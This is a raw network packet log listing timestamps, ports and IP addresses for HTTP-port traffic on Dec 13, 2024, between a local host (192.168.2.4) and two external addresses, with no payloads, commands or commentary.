Dec 13, 2024 01:51:13.845267057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.846071005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.846168041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.846170902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.846215963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.847049952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.847098112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.847171068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.847218990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.848011017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.848059893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.848115921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.848162889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:16.094747066 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:16.095442057 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:16.215255022 CET	80	49759	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:16.215296030 CET	80	49786	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:16.215332031 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:16.215512037 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:16.215512037 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:16.335597992 CET	80	49786	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:17.582703114 CET	80	49786	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:17.583116055 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:17.586005926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:17.586544991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:17.706454992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:17.706599951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:17.706705093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:17.706708908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:17.734774113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:17.855305910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033344984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033375978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033394098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033411026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033427954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033443928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033462048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033478022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033493042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033518076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.033526897 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.033528090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.033528090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.033528090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.033586979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.033586979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.154107094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.154162884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.154242039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.154242039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.157980919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.158054113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.158081055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.158164978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.225668907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.225712061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.225924015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.225924969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.227904081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.227957964 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.227965117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.228003979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.236371040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.236423969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.236449003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.236474991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.244810104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.244863033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.244884968 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.244911909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.253324032 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.253377914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.253429890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.253464937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.261414051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.261498928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.261527061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.261585951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.269876003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.269972086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.270019054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.270070076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.278398991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.278453112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.278462887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.278501987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.286895990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.286948919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.286974907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.286989927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.295171976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.295243025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.295346022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.295399904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.303023100 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.303080082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.303086042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.303126097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.310668945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.310723066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.310736895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.310769081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.346203089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.346286058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.417853117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.417953968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.418108940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.418108940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.420037985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.420094013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.420125008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.420156002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.424226046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.424319029 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.424319983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.424376011 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.428880930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.428982973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.429016113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.429038048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.433300018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.433382988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.433393002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.433620930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.437501907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.437582016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.437664986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.437726021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.441912889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.442006111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.442368031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.442452908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.446367025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.446446896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.446650028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.446758986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.450757980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.450834036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.451011896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.451087952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.455353975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.455379963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.455445051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.455480099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.459624052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.459706068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.459706068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.459770918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.464150906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.464199066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.464241982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.464272976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.468606949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.468657017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.468707085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.468739986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.473134995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.473189116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.473216057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.473248005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.477716923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.477771044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.477937937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.480906010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.481322050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.481528044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.481853008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.484415054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.484579086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.484883070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.484952927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.488120079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.488198042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.488214970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.488518000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.491501093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.491624117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.491631031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.491686106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.495237112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.495290041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.495309114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.495341063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.498733044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.498790026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.498842955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.498878956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.501976967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.502182961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.610146046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.610202074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.610449076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.611459970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.611512899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.611541986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.611567974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.613971949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.614039898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.614073992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.614136934 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.616733074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.616801023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.616813898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.616873980 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.619520903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.619576931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.619591951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.619631052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.622409105 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.622514009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.622524977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.622562885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.624897003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.624965906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.624989033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.625042915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.627562046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.627614975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.627746105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.629935980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.630007982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.630136967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.632427931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.632513046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.632546902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.632672071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.634967089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.635023117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.635026932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.635091066 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.637479067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.637541056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.637613058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.637785912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.640037060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.640106916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.640150070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.640206099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.642601967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.642653942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.643013000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.643073082 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.645131111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.645190001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.645257950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.645304918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.647646904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.647715092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.647758961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.647808075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.650160074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.650216103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.650590897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.650645971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.652719975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.652785063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.652839899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.652887106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.655293941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.655350924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.655438900 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.655484915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.657803059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.657852888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.657882929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.657931089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.660340071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.660391092 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.660882950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.660945892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.662906885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.662961960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.662986994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.663295984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.665656090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.665780067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.665858030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.665910959 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.667937040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.667985916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.668064117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.668108940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.670497894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.670550108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.670664072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.670712948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.672996998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.673055887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.673140049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.673314095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.675607920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.675687075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.675724030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.675823927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.678153038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.678212881 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.678365946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.678420067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.680628061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.680696011 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.680771112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.680823088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.683163881 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.683231115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.683264971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.683320045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.685688972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.685746908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.686013937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.686096907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.802084923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.802117109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.802288055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.802288055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.803194046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.803220987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.803267956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.803267956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.805175066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.805248976 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.805283070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.805341959 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.807290077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.807363033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.807368994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.807419062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.809484005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.809559107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.809592009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.809643984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.811587095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.811641932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.811693907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.811747074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.813651085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.813713074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.813780069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:19.813888073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:19.815753937 CET	80	49787	31.41.244.11	192.168.2.4
